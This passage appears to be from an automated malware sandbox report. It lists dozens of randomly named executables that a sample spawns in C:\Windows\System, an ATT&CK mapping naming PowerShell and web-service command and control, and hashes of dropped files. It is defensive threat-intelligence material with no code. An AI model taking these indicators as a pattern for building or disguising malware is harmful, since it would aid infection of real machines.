  PID:11460
- C:\Windows\System\ANwDkFj.exe
  C:\Windows\System\ANwDkFj.exe
  2⤵
  PID:7436
- C:\Windows\System\DuTOdbW.exe
  C:\Windows\System\DuTOdbW.exe
  2⤵
  PID:2064
- C:\Windows\System\JglqMSr.exe
  C:\Windows\System\JglqMSr.exe
  2⤵
  PID:11032
- C:\Windows\System\cOMldnS.exe
  C:\Windows\System\cOMldnS.exe
  2⤵
  PID:9776
- C:\Windows\System\rfYUveh.exe
  C:\Windows\System\rfYUveh.exe
  2⤵
  PID:11612
- C:\Windows\System\fXkKfaD.exe
  C:\Windows\System\fXkKfaD.exe
  2⤵
  PID:9860
- C:\Windows\System\aCNcpXV.exe
  C:\Windows\System\aCNcpXV.exe
  2⤵
  PID:10184
- C:\Windows\System\ogmpSUb.exe
  C:\Windows\System\ogmpSUb.exe
  2⤵
  PID:9128
- C:\Windows\System\REVWIVP.exe
  C:\Windows\System\REVWIVP.exe
  2⤵
  PID:9624
- C:\Windows\System\SHVkimC.exe
  C:\Windows\System\SHVkimC.exe
  2⤵
  PID:10512
- C:\Windows\System\bZjtMrp.exe
  C:\Windows\System\bZjtMrp.exe
  2⤵
  PID:14188
- C:\Windows\System\FYFxeaE.exe
  C:\Windows\System\FYFxeaE.exe
  2⤵
  PID:11724
- C:\Windows\System\iqTaDiP.exe
  C:\Windows\System\iqTaDiP.exe
  2⤵
  PID:9768
- C:\Windows\System\koEHrRQ.exe
  C:\Windows\System\koEHrRQ.exe
  2⤵
  PID:8504
- C:\Windows\System\iEBnPSv.exe
  C:\Windows\System\iEBnPSv.exe
  2⤵
  PID:14192
- C:\Windows\System\HnwWlru.exe
  C:\Windows\System\HnwWlru.exe
  2⤵
  PID:11000
- C:\Windows\System\qVHliwx.exe
  C:\Windows\System\qVHliwx.exe
  2⤵
  PID:12220
- C:\Windows\System\wEwWiBR.exe
  C:\Windows\System\wEwWiBR.exe
  2⤵
  PID:10536
- C:\Windows\System\RMNXNZu.exe
  C:\Windows\System\RMNXNZu.exe
  2⤵
  PID:13016
- C:\Windows\System\AdAuIoU.exe
  C:\Windows\System\AdAuIoU.exe
  2⤵
  PID:8888
- C:\Windows\System\WBDsIsF.exe
  C:\Windows\System\WBDsIsF.exe
  2⤵
  PID:8328
- C:\Windows\System\HLRIoMo.exe
  C:\Windows\System\HLRIoMo.exe
  2⤵
  PID:10492
- C:\Windows\System\iIQzsuU.exe
  C:\Windows\System\iIQzsuU.exe
  2⤵
  PID:8356
- C:\Windows\System\QtyEBqu.exe
  C:\Windows\System\QtyEBqu.exe
  2⤵
  PID:8840
- C:\Windows\System\hdIbHYN.exe
  C:\Windows\System\hdIbHYN.exe
  2⤵
  PID:9956
- C:\Windows\System\RJaLKyW.exe
  C:\Windows\System\RJaLKyW.exe
  2⤵
  PID:712
- C:\Windows\System\EIgDCZJ.exe
  C:\Windows\System\EIgDCZJ.exe
  2⤵
  PID:9564
- C:\Windows\System\KTEERXT.exe
  C:\Windows\System\KTEERXT.exe
  2⤵
  PID:10708
- C:\Windows\System\GQWegIy.exe
  C:\Windows\System\GQWegIy.exe
  2⤵
  PID:8544
- C:\Windows\System\oZLhdvH.exe
  C:\Windows\System\oZLhdvH.exe
  2⤵
  PID:9248
- C:\Windows\System\FKoKSqp.exe
  C:\Windows\System\FKoKSqp.exe
  2⤵
  PID:9352
- C:\Windows\System\KOTEKal.exe
  C:\Windows\System\KOTEKal.exe
  2⤵
  PID:10944
- C:\Windows\System\KWDwEYH.exe
  C:\Windows\System\KWDwEYH.exe
  2⤵
  PID:11112
- C:\Windows\System\gGFlyUp.exe
  C:\Windows\System\gGFlyUp.exe
  2⤵
  PID:1800
- C:\Windows\System\pHxzZEE.exe
  C:\Windows\System\pHxzZEE.exe
  2⤵
  PID:9800
- C:\Windows\System\RkenhLy.exe
  C:\Windows\System\RkenhLy.exe
  2⤵
  PID:11584
- C:\Windows\System\AoveXfE.exe
  C:\Windows\System\AoveXfE.exe
  2⤵
  PID:11464
- C:\Windows\System\WLEMaSb.exe
  C:\Windows\System\WLEMaSb.exe
  2⤵
  PID:8912
- C:\Windows\System\PhnnkUc.exe
  C:\Windows\System\PhnnkUc.exe
  2⤵
  PID:12584
- C:\Windows\System\AJepeMl.exe
  C:\Windows\System\AJepeMl.exe
  2⤵
  PID:9520
- C:\Windows\System\QFqSSdq.exe
  C:\Windows\System\QFqSSdq.exe
  2⤵
  PID:13948
- C:\Windows\System\GojMRgd.exe
  C:\Windows\System\GojMRgd.exe
  2⤵
  PID:8680
- C:\Windows\System\RxXDzvn.exe
  C:\Windows\System\RxXDzvn.exe
  2⤵
  PID:9068
- C:\Windows\System\DIeVgjW.exe
  C:\Windows\System\DIeVgjW.exe
  2⤵
  PID:9636
- C:\Windows\System\OLMtEfj.exe
  C:\Windows\System\OLMtEfj.exe
  2⤵
  PID:628
- C:\Windows\System\gBnYPez.exe
  C:\Windows\System\gBnYPez.exe
  2⤵
  PID:8688
- C:\Windows\System\cVxildZ.exe
  C:\Windows\System\cVxildZ.exe
  2⤵
  PID:12176
- C:\Windows\System\EekYgul.exe
  C:\Windows\System\EekYgul.exe
  2⤵
  PID:14148
- C:\Windows\System\rpPSWhA.exe
  C:\Windows\System\rpPSWhA.exe
  2⤵
  PID:12180
- C:\Windows\System\tViZQuJ.exe
  C:\Windows\System\tViZQuJ.exe
  2⤵
  PID:8188
- C:\Windows\System\REmaIyK.exe
  C:\Windows\System\REmaIyK.exe
  2⤵
  PID:10896
- C:\Windows\System\tEmEoUN.exe
  C:\Windows\System\tEmEoUN.exe
  2⤵
  PID:12116
- C:\Windows\System\FSLJaMU.exe
  C:\Windows\System\FSLJaMU.exe
  2⤵
  PID:2112
- C:\Windows\System\nAkPzeP.exe
  C:\Windows\System\nAkPzeP.exe
  2⤵
  PID:9540
- C:\Windows\System\VXvhdxl.exe
  C:\Windows\System\VXvhdxl.exe
  2⤵
  PID:13012
- C:\Windows\System\IAQzynM.exe
  C:\Windows\System\IAQzynM.exe
  2⤵
  PID:2860
- C:\Windows\System\hdXvlqN.exe
  C:\Windows\System\hdXvlqN.exe
  2⤵
  PID:11492
- C:\Windows\System\rPzNKKf.exe
  C:\Windows\System\rPzNKKf.exe
  2⤵
  PID:4460
- C:\Windows\System\GFNBwHR.exe
  C:\Windows\System\GFNBwHR.exe
  2⤵
  PID:11192
- C:\Windows\System\FOmWYqb.exe
  C:\Windows\System\FOmWYqb.exe
  2⤵
  PID:3784
- C:\Windows\System\AIxKqGA.exe
  C:\Windows\System\AIxKqGA.exe
  2⤵
  PID:11256
- C:\Windows\System\sEkVhYd.exe
  C:\Windows\System\sEkVhYd.exe
  2⤵
  PID:4236
- C:\Windows\System\PLTNTHU.exe
  C:\Windows\System\PLTNTHU.exe
  2⤵
  PID:11808
- C:\Windows\System\zfoEjuu.exe
  C:\Windows\System\zfoEjuu.exe
  2⤵
  PID:11328
- C:\Windows\System\iJLwLtH.exe
  C:\Windows\System\iJLwLtH.exe
  2⤵
  PID:2040
- C:\Windows\System\NrLjTfW.exe
  C:\Windows\System\NrLjTfW.exe
  2⤵
  PID:12620
- C:\Windows\System\tGkhQJC.exe
  C:\Windows\System\tGkhQJC.exe
  2⤵
  PID:8932
- C:\Windows\System\IqhuKnl.exe
  C:\Windows\System\IqhuKnl.exe
  2⤵
  PID:11916
- C:\Windows\System\ohoyxmc.exe
  C:\Windows\System\ohoyxmc.exe
  2⤵
  PID:1556
- C:\Windows\System\ysALBOQ.exe
  C:\Windows\System\ysALBOQ.exe
  2⤵
  PID:9840
- C:\Windows\System\xwHMKWY.exe
  C:\Windows\System\xwHMKWY.exe
  2⤵
  PID:260
- C:\Windows\System\BAfIsSD.exe
  C:\Windows\System\BAfIsSD.exe
  2⤵
  PID:9328
- C:\Windows\System\NXTZADE.exe
  C:\Windows\System\NXTZADE.exe
  2⤵
  PID:9468
- C:\Windows\System\WmsVZGb.exe
  C:\Windows\System\WmsVZGb.exe
  2⤵
  PID:6172
- C:\Windows\System\RqWuBwm.exe
  C:\Windows\System\RqWuBwm.exe
  2⤵
  PID:11372
- C:\Windows\System\gciTQYE.exe
  C:\Windows\System\gciTQYE.exe
  2⤵
  PID:3692
- C:\Windows\System\djSMjNv.exe
  C:\Windows\System\djSMjNv.exe
  2⤵
  PID:9096
- C:\Windows\System\Bpxqiji.exe
  C:\Windows\System\Bpxqiji.exe
  2⤵
  PID:3684
- C:\Windows\System\yQvpixq.exe
  C:\Windows\System\yQvpixq.exe
  2⤵
  PID:1836
- C:\Windows\System\FHuEwos.exe
  C:\Windows\System\FHuEwos.exe
  2⤵
  PID:3852
- C:\Windows\System\ixCUCic.exe
  C:\Windows\System\ixCUCic.exe
  2⤵
  PID:9844
- C:\Windows\System\teiFHCK.exe
  C:\Windows\System\teiFHCK.exe
  2⤵
  PID:1324
- C:\Windows\System\rGcXApE.exe
  C:\Windows\System\rGcXApE.exe
  2⤵
  PID:14324
- C:\Windows\System\bZXJjKY.exe
  C:\Windows\System\bZXJjKY.exe
  2⤵
  PID:11964
- C:\Windows\System\JWgnUUw.exe
  C:\Windows\System\JWgnUUw.exe
  2⤵
  PID:6000
- C:\Windows\System\CXkZRDq.exe
  C:\Windows\System\CXkZRDq.exe
  2⤵
  PID:12404
- C:\Windows\System\CUWWhLE.exe
  C:\Windows\System\CUWWhLE.exe
  2⤵
  PID:4380
- C:\Windows\System\wbQjJYq.exe
  C:\Windows\System\wbQjJYq.exe
  2⤵
  PID:14344
- C:\Windows\System\ioCsSHZ.exe
  C:\Windows\System\ioCsSHZ.exe
  2⤵
  PID:14364
- C:\Windows\System\DYvouhS.exe
  C:\Windows\System\DYvouhS.exe
  2⤵
  PID:14384
- C:\Windows\System\IXrGwMp.exe
  C:\Windows\System\IXrGwMp.exe
  2⤵
  PID:14404
- C:\Windows\System\NYkwvvh.exe
  C:\Windows\System\NYkwvvh.exe
  2⤵
  PID:14424
- C:\Windows\System\rdCsEmN.exe
  C:\Windows\System\rdCsEmN.exe
  2⤵
  PID:14440
- C:\Windows\System\DkRzivN.exe
  C:\Windows\System\DkRzivN.exe
  2⤵
  PID:14456
- C:\Windows\System\XQmINdz.exe
  C:\Windows\System\XQmINdz.exe
  2⤵
  PID:14488
- C:\Windows\System\IETaYvA.exe
  C:\Windows\System\IETaYvA.exe
  2⤵
  PID:14504
- C:\Windows\System\zlUPnBv.exe
  C:\Windows\System\zlUPnBv.exe
  2⤵
  PID:14524
- C:\Windows\System\bKrZfAE.exe
  C:\Windows\System\bKrZfAE.exe
  2⤵
  PID:14692
- C:\Windows\System\lQFbGCp.exe
  C:\Windows\System\lQFbGCp.exe
  2⤵
  PID:14708
- C:\Windows\System\mTKxUgM.exe
  C:\Windows\System\mTKxUgM.exe
  2⤵
  PID:14728
- C:\Windows\System\cTHEqOh.exe
  C:\Windows\System\cTHEqOh.exe
  2⤵
  PID:14892
- C:\Windows\System\kdwTAPn.exe
  C:\Windows\System\kdwTAPn.exe
  2⤵
  PID:14908
- C:\Windows\System\aYequqU.exe
  C:\Windows\System\aYequqU.exe
  2⤵
  PID:14932
- C:\Windows\System\FDINWKP.exe
  C:\Windows\System\FDINWKP.exe
  2⤵
  PID:14948
- C:\Windows\System\oWJyHfu.exe
  C:\Windows\System\oWJyHfu.exe
  2⤵
  PID:14980
- C:\Windows\System\BFGPwVT.exe
  C:\Windows\System\BFGPwVT.exe
  2⤵
  PID:15004
- C:\Windows\System\lMJnXqA.exe
  C:\Windows\System\lMJnXqA.exe
  2⤵
  PID:15032
- C:\Windows\System\kQoPjvz.exe
  C:\Windows\System\kQoPjvz.exe
  2⤵
  PID:15056
- C:\Windows\System\jDGxfGS.exe
  C:\Windows\System\jDGxfGS.exe
  2⤵
  PID:15072
- C:\Windows\System\hwRYLPH.exe
  C:\Windows\System\hwRYLPH.exe
  2⤵
  PID:15156
- C:\Windows\System\uogeeUE.exe
  C:\Windows\System\uogeeUE.exe
  2⤵
  PID:15172
- C:\Windows\System\leBQKcr.exe
  C:\Windows\System\leBQKcr.exe
  2⤵
  PID:15188
- C:\Windows\System\Laojigy.exe
  C:\Windows\System\Laojigy.exe
  2⤵
  PID:15204
- C:\Windows\System\cyGrrPZ.exe
  C:\Windows\System\cyGrrPZ.exe
  2⤵
  PID:15220
- C:\Windows\System\bIBvthN.exe
  C:\Windows\System\bIBvthN.exe
  2⤵
  PID:15240
- C:\Windows\System\GnzVRyE.exe
  C:\Windows\System\GnzVRyE.exe
  2⤵
  PID:15260
- C:\Windows\System\cZZsWvI.exe
  C:\Windows\System\cZZsWvI.exe
  2⤵
  PID:15320
- C:\Windows\System\YcaPsbp.exe
  C:\Windows\System\YcaPsbp.exe
  2⤵
  PID:15336
- C:\Windows\System\YQUDxxu.exe
  C:\Windows\System\YQUDxxu.exe
  2⤵
  PID:15356
- C:\Windows\System\EErKskO.exe
  C:\Windows\System\EErKskO.exe
  2⤵
  PID:3828
- C:\Windows\System\HLyIXYS.exe
  C:\Windows\System\HLyIXYS.exe
  2⤵
  PID:11392
- C:\Windows\System\pnPSvAo.exe
  C:\Windows\System\pnPSvAo.exe
  2⤵
  PID:560
- C:\Windows\System\ccTvBvB.exe
  C:\Windows\System\ccTvBvB.exe
  2⤵
  PID:14520
- C:\Windows\System\zFKeOgt.exe
  C:\Windows\System\zFKeOgt.exe
  2⤵
  PID:14340
- C:\Windows\System\iPfSpMm.exe
  C:\Windows\System\iPfSpMm.exe
  2⤵
  PID:14412
- C:\Windows\System\ItPMDAB.exe
  C:\Windows\System\ItPMDAB.exe
  2⤵
  PID:12512
- C:\Windows\System\rRWocmx.exe
  C:\Windows\System\rRWocmx.exe
  2⤵
  PID:14372
- C:\Windows\System\TiOBkUg.exe
  C:\Windows\System\TiOBkUg.exe
  2⤵
  PID:14564
- C:\Windows\System\qRveBAH.exe
  C:\Windows\System\qRveBAH.exe
  2⤵
  PID:14776
- C:\Windows\System\xPDBmEU.exe
  C:\Windows\System\xPDBmEU.exe
  2⤵
  PID:14640
- C:\Windows\System\CdUZXft.exe
  C:\Windows\System\CdUZXft.exe
  2⤵
  PID:14812
- C:\Windows\System\yzbufgm.exe
  C:\Windows\System\yzbufgm.exe
  2⤵
  PID:14840
- C:\Windows\System\TNBgFPG.exe
  C:\Windows\System\TNBgFPG.exe
  2⤵
  PID:14860
- C:\Windows\System\KyflOcc.exe
  C:\Windows\System\KyflOcc.exe
  2⤵
  PID:14828
- C:\Windows\System\XJKbQyA.exe
  C:\Windows\System\XJKbQyA.exe
  2⤵
  PID:13292
- C:\Windows\System\DUGdRPT.exe
  C:\Windows\System\DUGdRPT.exe
  2⤵
  PID:15352
- C:\Windows\System\GTERbMC.exe
  C:\Windows\System\GTERbMC.exe
  2⤵
  PID:1088
- C:\Windows\System\poLESiu.exe
  C:\Windows\System\poLESiu.exe
  2⤵
  PID:12368
- C:\Windows\System\vVkJYcv.exe
  C:\Windows\System\vVkJYcv.exe
  2⤵
  PID:14380
- C:\Windows\System\pKXoUXK.exe
  C:\Windows\System\pKXoUXK.exe
  2⤵
  PID:14480
- C:\Windows\System\HbWjkIm.exe
  C:\Windows\System\HbWjkIm.exe
  2⤵
  PID:13272
- C:\Windows\System\GCATHbZ.exe
  C:\Windows\System\GCATHbZ.exe
  2⤵
  PID:184
- C:\Windows\System\nuBeBlj.exe
  C:\Windows\System\nuBeBlj.exe
  2⤵
  PID:14848
- C:\Windows\System\MnFvyHi.exe
  C:\Windows\System\MnFvyHi.exe
  2⤵
  PID:14356
- C:\Windows\System\wHistnP.exe
  C:\Windows\System\wHistnP.exe
  2⤵
  PID:14884
- C:\Windows\System\ueEdMIx.exe
  C:\Windows\System\ueEdMIx.exe
  2⤵
  PID:14916
- C:\Windows\System\BkIhLvJ.exe
  C:\Windows\System\BkIhLvJ.exe
  2⤵
  PID:14852
- C:\Windows\System\FwjDjwt.exe
  C:\Windows\System\FwjDjwt.exe
  2⤵
  PID:15024
- C:\Windows\System\YCJNkBB.exe
  C:\Windows\System\YCJNkBB.exe
  2⤵
  PID:15144
- C:\Windows\System\KwNkAxL.exe
  C:\Windows\System\KwNkAxL.exe
  2⤵
  PID:14960
- C:\Windows\System\ZyfguJi.exe
  C:\Windows\System\ZyfguJi.exe
  2⤵
  PID:15196
- C:\Windows\System\JBdrFvy.exe
  C:\Windows\System\JBdrFvy.exe
  2⤵
  PID:14420
- C:\Windows\System\IsKiZRJ.exe
  C:\Windows\System\IsKiZRJ.exe
  2⤵
  PID:5408
- C:\Windows\System\NtzAcGx.exe
  C:\Windows\System\NtzAcGx.exe
  2⤵
  PID:2440
- C:\Windows\System\BDNcQpV.exe
  C:\Windows\System\BDNcQpV.exe
  2⤵
  PID:10464
- C:\Windows\System\zcpZGRo.exe
  C:\Windows\System\zcpZGRo.exe
  2⤵
  PID:2412
- C:\Windows\System\nnubhRO.exe
  C:\Windows\System\nnubhRO.exe
  2⤵
  PID:14432
- C:\Windows\System\ILKPVyg.exe
  C:\Windows\System\ILKPVyg.exe
  2⤵
  PID:10272
- C:\Windows\System\ttouFUu.exe
  C:\Windows\System\ttouFUu.exe
  2⤵
  PID:12304
- C:\Windows\System\MTxVQtP.exe
  C:\Windows\System\MTxVQtP.exe
  2⤵
  PID:12612
- C:\Windows\System\ZmbERJL.exe
  C:\Windows\System\ZmbERJL.exe
  2⤵
  PID:15100
- C:\Windows\System\NNVEEhe.exe
  C:\Windows\System\NNVEEhe.exe
  2⤵
  PID:15344
- C:\Windows\System\TteUbPr.exe
  C:\Windows\System\TteUbPr.exe
  2⤵
  PID:12132
- C:\Windows\System\aUhEolw.exe
  C:\Windows\System\aUhEolw.exe
  2⤵
  PID:12704
- C:\Windows\System\LoAJWmr.exe
  C:\Windows\System\LoAJWmr.exe
  2⤵
  PID:6268
- C:\Windows\System\OHlkgmI.exe
  C:\Windows\System\OHlkgmI.exe
  2⤵
  PID:6148
- C:\Windows\System\PiYutwJ.exe
  C:\Windows\System\PiYutwJ.exe
  2⤵
  PID:12468
- C:\Windows\System\Dysrpud.exe
  C:\Windows\System\Dysrpud.exe
  2⤵
  PID:3008
- C:\Windows\System\lZDzMTx.exe
  C:\Windows\System\lZDzMTx.exe
  2⤵
  PID:15288
- C:\Windows\System\ArmXpQn.exe
  C:\Windows\System\ArmXpQn.exe
  2⤵
  PID:5088
- C:\Windows\System\jWiJSHx.exe
  C:\Windows\System\jWiJSHx.exe
  2⤵
  PID:11748
- C:\Windows\System\FYxgfFG.exe
  C:\Windows\System\FYxgfFG.exe
  2⤵
  PID:2200
- C:\Windows\System\qDASfic.exe
  C:\Windows\System\qDASfic.exe
  2⤵
  PID:6356
- C:\Windows\System\DQBqSDH.exe
  C:\Windows\System\DQBqSDH.exe
  2⤵
  PID:12296
- C:\Windows\System\kWcZQcU.exe
  C:\Windows\System\kWcZQcU.exe
  2⤵
  PID:1176
- C:\Windows\System\LGvCgth.exe
  C:\Windows\System\LGvCgth.exe
  2⤵
  PID:4208
- C:\Windows\System\LMgaJuV.exe
  C:\Windows\System\LMgaJuV.exe
  2⤵
  PID:6336
- C:\Windows\System\yiCgzlf.exe
  C:\Windows\System\yiCgzlf.exe
  2⤵
  PID:5536
- C:\Windows\System\iiDWRns.exe
  C:\Windows\System\iiDWRns.exe
  2⤵
  PID:14756
- C:\Windows\System\CBBVUkZ.exe
  C:\Windows\System\CBBVUkZ.exe
  2⤵
  PID:12756
- C:\Windows\System\WuunPTu.exe
  C:\Windows\System\WuunPTu.exe
  2⤵
  PID:5276
- C:\Windows\System\nZGUnqa.exe
  C:\Windows\System\nZGUnqa.exe
  2⤵
  PID:13032
- C:\Windows\System\LgGJfhx.exe
  C:\Windows\System\LgGJfhx.exe
  2⤵
  PID:2604
- C:\Windows\System\mhFLkzk.exe
  C:\Windows\System\mhFLkzk.exe
  2⤵
  PID:1516
- C:\Windows\System\FZUPHFY.exe
  C:\Windows\System\FZUPHFY.exe
  2⤵
  PID:14964
- C:\Windows\System\mprWtGU.exe
  C:\Windows\System\mprWtGU.exe
  2⤵
  PID:15080
- C:\Windows\System\AEYUZKR.exe
  C:\Windows\System\AEYUZKR.exe
  2⤵
  PID:12472
- C:\Windows\System\ZqvTRYG.exe
  C:\Windows\System\ZqvTRYG.exe
  2⤵
  PID:12348
- C:\Windows\System\MVpGVLm.exe
  C:\Windows\System\MVpGVLm.exe
  2⤵
  PID:13224
- C:\Windows\System\xjdJkCR.exe
  C:\Windows\System\xjdJkCR.exe
  2⤵
  PID:4036
- C:\Windows\System\WdOUrJQ.exe
  C:\Windows\System\WdOUrJQ.exe
  2⤵
  PID:5036
- C:\Windows\System\pxQXxgL.exe
  C:\Windows\System\pxQXxgL.exe
  2⤵
  PID:7644
- C:\Windows\System\GRhprdX.exe
  C:\Windows\System\GRhprdX.exe
  2⤵
  PID:7388
- C:\Windows\System\lFTyWph.exe
  C:\Windows\System\lFTyWph.exe
  2⤵
  PID:13328
- C:\Windows\System\VsrnZbd.exe
  C:\Windows\System\VsrnZbd.exe
  2⤵
  PID:10756

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3900 --field-trial-handle=2304,i,6987730730348465820,3913273227385401271,262144 --variations-seed-version /prefetch:8
1⤵
PID:11500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ghx4sqgl.gpa.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ghx4sqgl.gpa.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

BdwvWrN.exe

Path C:\Windows\System\BdwvWrN.exe
Size 2.0MB
SHA256 7bfec4a0315f7ee5eaa57e75c9f96716a74719b7efab0c4875037a9a3c31602b
MD5 92676017426d87aa283adaa87338466d
SHA1 98edef18ec1145a2f5f08370ddbcc5cf692af620
SHA512 61263d8f42df6b472e275fdc42fdca9c259985a12d2b658f792da7beae584cba6242ded42e7a64dd0e0fd4287d07404ebc1c01c2e2de0ca9dd244d5e419dd69a
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM3:NABf
MD5 SHA1 SHA512 SSDEEP

Submit Download

CXcXlVu.exe

Path C:\Windows\System\CXcXlVu.exe
Size 2.0MB
SHA256 c5facba35cdc0f22e40aa343c202e2038f172697ab10369b3eb0397966ce82ff
MD5 1f1435cffff720199c2d4fee24fcf482
SHA1 38fba8a980562fe0acc6d3017986837caf6ea530
SHA512 dacded9b2806032e1563418ff70ae17c84260ec6404428d5a1ddfcc6c897c61bc8a03699a376fffd1a3811d38b82b505f3e0663facb8cf854bd9f2f5bffb1eb2
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMz:NABb
MD5 SHA1 SHA512 SSDEEP

Submit Download

GgwZnbF.exe

Path C:\Windows\System\GgwZnbF.exe
Size 2.0MB
SHA256 62b5db31010436d699c22f74deaf542a25f7a6f366be4133ebb13e7a6dc15c7b
MD5 68822a7ae6ad0462139694be0065f030
SHA1 71fce7a4d42a3ebd65acfc85e4c454db52d7580c
SHA512 4c528e63da76433d0e320325d3d631d73ec31a80f44c31f17a31998ef17e120cf3fa050a23841b3f3bd59d7230969b328e92d625acb6189269d48a8a096b67ad
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMb:NABz
MD5 SHA1 SHA512 SSDEEP

Submit Download

GuHCoal.exe

Path C:\Windows\System\GuHCoal.exe
Size 2.0MB
SHA256 81d2a762f7452d3fbae776342fb06aaa9b3fc71e26e3d48bb797e5af3c1f1af2
MD5 be435b0924ffea2f8d639ba0cddfd5da
SHA1 2532de03a20919858b174a4712c875d99f7fc85a
SHA512 f134256bae57bb14abefa7e70811f3bdf8dab6ffb653a6048d3a28db308cd7071dcb49f240a65ccc63bc4c57eca3c18810b121636d875faee980bad4a3f110f6
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMh:NABJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

HqmAXrU.exe

Path C:\Windows\System\HqmAXrU.exe
Size 2.1MB
SHA256 e3ff14c1e5e4325cade7c2392278713cd0e81fcf1fe65fe15e1cc9296efdcc08
MD5 d059ceccf9586748f369775ee4d23d27
SHA1 b439303f25d55f9a3d7a26ebe612fb93181fcd3e
SHA512 d332e9c145e5d24d40d52148468c2c6737df93a6a1a281a74067643163f9b3d878a0eb47b0d53b151d323766807ca3ad1fca6125362f9b31789aad96ea9c96ee
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM1:NABt
MD5 SHA1 SHA512 SSDEEP

Submit Download

IKHyhZZ.exe

Path C:\Windows\System\IKHyhZZ.exe
Size 2.0MB
SHA256 e696468211dca91da459aa13ad0e0cdf599a80002045ea1fd26e1d6e5f1b6fda
MD5 9f8bf004a0550dc81368a3e6edc99fa2
SHA1 9992e378397dd1e0f869211723ccc7642fcec25e
SHA512 970149e1d1cba5f585b3334b6b097cd05694748e44a4c5a52c68347a673f178b60146e02a019d8f170b0a93d8aac6667c21985b46baf3b0f742deb8cfa510b27
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMU:NABM
MD5 SHA1 SHA512 SSDEEP

Submit Download

JXUugpk.exe

Path C:\Windows\System\JXUugpk.exe
Size 2.1MB
SHA256 7b3e19c50c866bb4589cab74e8e5f0915c561bf39d8258f28c60749d8b3f416f
MD5 36f1d5ec4fb401a03a6d81ffaecb32b6
SHA1 4d4ac05c87b8a0c0313c8f7806520677e2477857
SHA512 bc864d504dfb26eef19e4b17cd9d5c3bdead933237b5f08323cf6194b5eaa31ed737130059bdae1d5cd2280385a16682307913b5dc39d863868a1de5de53ded1
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafML:NABD
MD5 SHA1 SHA512 SSDEEP

Submit Download

JehbfHv.exe

Path C:\Windows\System\JehbfHv.exe
Size 2.0MB
SHA256 cee53c5de8e60682569e3b848fb6d1169e87facb77b50c8213303f0ece02c2ea
MD5 3e17009add7d30505fb48efc72cc5d05
SHA1 96b04353cfd89953360ba61b3753439694024efd
SHA512 f11d143acf13c2d14df8904f4af78c7fd5b83a864e1c28340fc8da71afba97e4d5f928038159a3bcf6b81917a3b74403612d19abf28e1dbaceb5b041e2e4945f
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMr:NABD
MD5 SHA1 SHA512 SSDEEP

Submit Download

KDxhUOn.exe

Path C:\Windows\System\KDxhUOn.exe
Size 2.0MB
SHA256 a2dd8a512b13ece345edd8dccbd802ebabba723ceea83eddd166eaa0f7febdd4
MD5 432fdafbc6e456d6fb1dea6fe25c0742
SHA1 214fe96675d58035212b169ad562eaddbeb5f41d
SHA512 e1ef783187e01c3184667f6713ad05cb20d5296fe6bbe18ad323cb6e4bb1fb143c957fe420d878d7c98d9afcf4bba07818b3542b36e5ac04d4eb2fc792037305
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMZ:NABR
MD5 SHA1 SHA512 SSDEEP

Submit Download

LYornaH.exe

Path C:\Windows\System\LYornaH.exe
Size 2.0MB
SHA256 74e9271d85a2025e6ab96c6162e7d0af775edc6366a179043f3e4fd6bfc75b1b
MD5 5b51f4d497eb53ac39348b53e8d4fa45
SHA1 2517b8778054928d8c798217cd5a48edffcdc43d
SHA512 ae3995583e0909f4f275b77b4565fd2ab7783ecfdf4b7f00867a9f94cbcb60c6eae6194afb13d46d0aa535a79f2027e6cabde1bd52b8b545ea75e07a870df620
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMF:NAB9
MD5 SHA1 SHA512 SSDEEP

Submit Download

NqCrmDr.exe

Path C:\Windows\System\NqCrmDr.exe
Size 2.0MB
SHA256 dfc8faea9910eb6c4659d33a963b02e6530983f502dc2e91b8ab12ed01119707
MD5 346dea65d8b3dd784aa3213c0f967de5
SHA1 2eb0b0bf9c750e67f77a5935187c30103798dfa5
SHA512 b55b4b8fb8f30c16d89decaa98bcf4cb4889c17abd53435a3c75942bccd31aaded9e12c7e1a7aabe850379f54542d525236b7814050ecfa46f316b3d038ee05f
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM0:NABc
MD5 SHA1 SHA512 SSDEEP

Submit Download

OxyABYc.exe

Path C:\Windows\System\OxyABYc.exe
Size 2.0MB
SHA256 13acd1b61e85816d393b2c72833bf34d6f266b8d80de74871550fc2f5be671f6
MD5 f1ecafd3c3f1d8676fc9e25d14d3238a
SHA1 9f2904b950c7ef8fe662d56cd88876af515ac207
SHA512 8be4b99714b87a34af2ab2a15f4dff1d29a94c14e30dac93c1ff0c58ef7bc0b2bef7a45e1e04924b64501e1c580a1d4dea412a8169bd5dc1745af98cc9d747b2
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM2:NABe
